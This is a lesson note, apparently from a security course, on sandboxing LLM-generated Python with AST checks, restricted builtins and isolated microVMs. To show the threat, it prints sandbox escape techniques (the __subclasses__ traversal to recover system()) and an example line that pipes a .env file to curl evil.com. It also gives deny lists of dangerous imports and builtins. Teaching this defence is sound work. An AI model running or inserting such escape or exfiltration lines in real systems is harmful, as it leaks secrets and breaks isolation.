Week 16 • Day 1Week 16

Day 1:Code Execution Sandboxes, AST Validation & Escape Prevention

Battle-tested daily lesson note • 100% runnable code, interview Q&A, test suite & interactive quiz

Day 1: Code Execution Sandboxes, AST Validation & Escape Prevention

1. First-Principles Security: Why exec() Without AST & Process Isolation Is Remote Code Execution (RCE)

When an AI agent writes Python code for data analysis or metric calculation, executing LLM-generated Python directly inside the host process allows classic sandbox escapes:

  1. Direct OS/Subprocess Imports: import os; os.system("curl ...")
  2. Builtin Reflection: __import__("subprocess").check_output(...)
  3. Object Hierarchy Traversal (__subclasses__): ().__class__.__base__.__subclasses__() to locate <class 'os._wrap_close'> and recover system() without ever writing an import statement!

Defense-in-Depth Architecture

  1. Layer 1 (Static AST Gate): Parse candidate code into an Abstract Syntax Tree (ast.parse) and reject:
    • Any ast.Import or ast.ImportFrom outside an explicit math/data allowlist (math, statistics, json).
    • Any attribute access (ast.Attribute) starting with _ (blocks __class__, __base__, __subclasses__, __globals__, __builtins__).
    • Any call (ast.Call) to forbidden builtins (eval, exec, compile, open, __import__, getattr, setattr).
  2. Layer 2 (Restricted Builtins Execution): Execute with __builtins__ stripped down to pure mathematical/collection functions (abs, min, max, sum, len, range, round, sorted, dict, list, float, int).
  3. Layer 3 (In Production): Ephemeral microVM (Firecracker, E2B, gVisor) with zero network egress and cgroup memory/CPU limits.

In Simple English: Why Running eval() or exec() on AI Code Gets You Hacked

Suppose an AI assistant writes Python code to solve a math problem, and you run exec(ai_code) directly on your main server:

  • A tricked LLM could emit import os; os.system("cat .env | curl evil.com") — instantly stealing all your company API keys and databases!
  • Two Defense Layers:
    1. AST Static Gate (Pre-Check): Parse code into an Abstract Syntax Tree BEFORE execution and forbid dangerous imports (os, subprocess, socket) and builtins (eval, open, __import__).
    2. Ephemeral Micro-Container / WASM Sandbox (Isolation): Run untrusted code inside a locked Docker/Firecracker sandbox with zero internet access, read-only disk, 512MB RAM limit, and 5-second timeout!